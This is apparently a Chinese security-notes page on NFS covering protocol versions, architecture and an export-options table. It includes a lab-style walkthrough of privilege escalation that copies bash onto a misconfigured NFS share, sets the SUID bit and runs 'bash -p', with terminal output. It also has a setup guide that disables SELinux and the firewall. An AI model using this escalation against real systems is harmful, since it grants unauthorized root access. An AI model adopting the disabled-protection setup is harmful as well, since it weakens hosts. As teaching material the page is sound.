> For the complete documentation index, see [llms.txt](https://jtz.gitbook.io/web-security/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jtz.gitbook.io/web-security/wang-luo-xi-tong/duan-kou-xie-yi/nfs-jie-shao.md).

# NFS 介绍

关于 NFS 的相关介绍

## 简介

* NFS 具有和 SMB 相同的用途，目的是通过网络访问文件系统，但是两者使用不同的协议
* 我们可以通过 NFS 将远程目录挂载在本地系统上，就和插了一个 U 盘一样
* 配置文件： /etc/exports
* NFS系统和Windows网络共享、网络驱动器类似, 只不过windows 网络共享用于局域网, NFS用于企业集群架构中, 如果是大型网站, 会用到更复杂的分布式文件系统FastDFS,glusterfs,HDFS,ceph
* NFS 协议没有**身份验证和授权机制**。授权取自配置文件系统的可用信息，服务器负责将客户端提供的用户信息翻译成文件系统的用户信息，并尽可能正确的将相应的授权信息转换成 UNIX 要求的语法

| 版本    | 特征                                                                     |
| ----- | ---------------------------------------------------------------------- |
| NFSV2 | 比较旧但是受到许多系统支持，并且最初完全通过 UDP 运行                                          |
| NFSV3 | 具有更多的功能，包括可变文件大小和更好的错误报告，但是与 NFSV2 客户端不安全兼容                            |
| NFSV4 | 包括 Kerberos ，通过防火墙和 Internet 工作，不再需要端口映射器，支持 ACL， 应用基于状态的操作，并提高了性能和安全性 |

## NFS 架构

<figure><img src="https://2782775614-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmodvfbtAAhl1JNxfj5xs%2Fuploads%2FqMIoIGCb2gtKEzU9y5ZO%2FNFS1.webp?alt=media&amp;token=5df7a8c0-f586-4306-9383-6c3eceeb94dd" alt=""><figcaption></figcaption></figure>

## NFS 应用

> 1. 用户访问NFS客户端，将请求转化为函数
> 2. NFS通过TCP/IP连接服务端
> 3. NFS服务端接收请求，会先调用portmap进程进行端口映射
> 4. Rpc.nfsd进程用于判断NFS客户端能否连接服务端；
> 5. Rpc.mount进程用于判断客户端对服务端的操作权限
> 6. 如果通过权限验证，可以对服务端进行操作，修改或读取

## NFS 运行原理

<figure><img src="https://2782775614-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmodvfbtAAhl1JNxfj5xs%2Fuploads%2FSp7zhCiKrxKb7BtiiAX7%2FNFS2.webp?alt=media&amp;token=7bbe0f5d-f225-47c5-ad27-d041018cf2a6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2782775614-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmodvfbtAAhl1JNxfj5xs%2Fuploads%2FmzPeBUWhH3xO0azM62qp%2FNFS3.webp?alt=media&amp;token=7ee93071-be62-405e-941c-dfb61186fe9a" alt=""><figcaption></figcaption></figure>

## 攻击

### 1. 显示可用的 NFS 共享

```bash
$ showmount -e 10.129.14.128
```

### 2. 挂载&卸载

```bash
# 挂载 NFS 共享
$ mkdir target-NFS
$ sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolock
	# -t nfs  挂载的设备类型
$ cd target-NFS
$ tree .

# 卸载
$ cd ..
$ umount ./target-NFS
```

### 3. 攻击思路--利用 SUID

```bash
1. NFS 访问
2. 将 Bash 可执行文件上传到 NFS 共享
3. 利用 NFS 配置错误，设置 BASH  SUID 权限
4. 利用获得的 SHELL 去执行 SUID Bash 程序实现权限提升

┌──(jtz㉿JTZ)-[~/Desktop/Temp/TryHackMe]
└─$ sudo mount -t nfs 10.10.236.239:/home ./NFS/ -o nolock[sudo] password for jtz:

┌──(jtz㉿JTZ)-[~/Desktop/Temp/TryHackMe]
└─$ cd NFS
┌──(root㉿JTZ)-[/home/jtz/Desktop/Temp/TryHackMe/NFS]
└─# cp ../bash .
┌──(root㉿JTZ)-[/home/jtz/Desktop/Temp/TryHackMe/NFS]
└─# chmod +s bash

┌──(root㉿JTZ)-[/home/jtz/Desktop/Temp/TryHackMe/NFS]
└─# ls -al
total 1248
drwxr-xr-x 3 root root    4096 Feb  2 11:53 .
drwxr-xr-x 7 jtz  jtz     4096 Feb  2 11:52 ..
-rwsr-sr-x 1 root root 1265648 Feb  2 11:53 bash
drwxr-xr-x 5 jtz  jtz     4096 Jun  4  2020 cappucino

# 在获取的 SHELL 上执行
$ ./bash -p
```

## NFS 实践

### 1. 部署 NFS 服务

**服务端**

1. 安装相关软件

   ```shell
   yum install nfs-utils rpcbind -y   # rpcbind是为nfs提供网络
   ```
2. 关闭防火墙和 selinux

   ```shell
   setenforce 0
   systemctl stop firewalld
   ```
3. 创建一个目录，用于存放共享文件或者目录

   ```shell
   mkdir /data
   ```
4. 创建一个系统用户，到时客户端也创建同样用户来统一用户

   ```shell
   groupadd www -g 666
   useradd www -u 666 -g 666 -M -r -s /sbin/nologin
   ```
5. 修改NFS的配置文件(作用：指定NFS的仓库及权限)

```shell
# NFS的配置文件：/etc/exports、/etc/lib/nfs/etab
# 格式：[挂载点] [可以访问的IP]([权限])

vi /etc/exports

内容：
    /data   172.16.1.0/20(rw,sync,all_squash,anonuid=666,anongid=666)
```

<table><thead><tr><th width="210">NFS 共享参数</th><th>参数作用</th></tr></thead><tbody><tr><td>rw</td><td>读写权限 (常用)</td></tr><tr><td>ro</td><td>只读权限 (不常用)</td></tr><tr><td>root_squash</td><td>当 NFS 客户端以 root 管理员访问时，映射为 NFS 服务器的匿名用户(默认)</td></tr><tr><td>no_root_squash</td><td>当 NFS 客户端以 root 管理员访问时，映射为 NFS 服务器的 root 管理员(不常用)</td></tr><tr><td>all_squash</td><td>无论 NFS 客户端使用什么账号访问，都映射为 NFS 服务器的匿名用户(常用)</td></tr><tr><td>no_all_squash</td><td>访客被映射为服务器上相同 uid 的用户(默认)</td></tr><tr><td>sync</td><td>同时将数据写入到内存和硬盘中，保证数据不丢失数据(常用)</td></tr><tr><td>async</td><td>优先将数据保存到内存中，然后再写入硬盘，这样效率高，但可能会丢失数据(不常用)</td></tr><tr><td>secure</td><td>限制客户端只能从小于1024的tcp/ip端口连接服务器 （默认）</td></tr><tr><td>insecure</td><td>允许客户端从大于1024的tcp/ip端口连接服务器</td></tr><tr><td>anonuid</td><td>指定匿名访问的用户的本地用户 UID ，默认为 65534</td></tr><tr><td>anongid</td><td>指定匿名访问用户的本地用户组GID，默认为 65534</td></tr><tr><td>wdelay</td><td>检查是否有相关的写操作，如果有则将这些写操作一起执行，这样可以提高效率（默认）</td></tr><tr><td>no_wdelay</td><td>若有写操作则立即执行，应与sync配合使用</td></tr><tr><td>subtree_check</td><td>若输出目录是一个子目录，则nfs服务器将检查其父目录的权限 （默认）</td></tr><tr><td>no_subtree_check</td><td>即使输出目录是一个子目录，nfs服务器也不检查其父目录的权限，这样可以提高效率</td></tr></tbody></table>

1. 启动NFS服务

   ```shell
   systemctl start nfs-server rpcbind
   ```
2. 查看NFS的挂载点是否设置成功

   ```shell
   # 查看指定服务器的挂载点
   showmount -e 172.16.1.31

   # 查看本机的挂载点
   showmount -e
   ```
3. 给挂载点授权(用于存放共享文件或者目录)

   ```shell
   chown -R www.www /data/
   ```

**客户端**

1. 挂载使用(客户端必须安装nfs-utils)

   ```shell
   yum install nfs-utils -y
   mount -t nfs 172.16.1.31:/data /opt
   ```

### 2. NFS -- 上传文件

**客户端**

1. 安装web服务软件及nfs-utils

   ```shell
   yum install httpd php -y
    
   yum install nfs-utils -y
   ```
2. 将代码上传到网站根目录（/var/www/html）
3. 给目录下的文件授权

   ```shell
   chown -R www.www /var/www/html
   ```
4. 修改web软件的用户

   ```shell
   vim /etc/httpd/conf/httpd.conf
   内容变为：
           User www
           Group www
   ```
5. 关闭selinux和防火墙

   ```shell
   setenforce 0
   systemctl disable --now firewalld
   ```
6. 启动web软件

   ```shell
   systemctl start httpd
   ```
7. 挂载

   ```shell
   cd /var/www/html/
   mkdir upload
   mount -t nfs 172.16.1.31:/data /var/www/html/upload
   ```
8. 测试： 上传、访问

### 3. NFS 实现文件共享

1. 安装web服务软件及nfs-utils

   ```shell
   yum install httpd php -y
    
   yum install nfs-utils -y
   ```
2. 将NFS挂载到web网站对应目录

   ```shell
   mkdir img
   mount -t nfs 172.16.1.31:/data /var/www/html/img/
   ```
3. 开启web服务

   ```shell
   systemctl start httpd
   ```
4. 测试

## 参考文章

* [NFS(局域网共享文件或目录)](https://zhuanlan.zhihu.com/p/451820450)
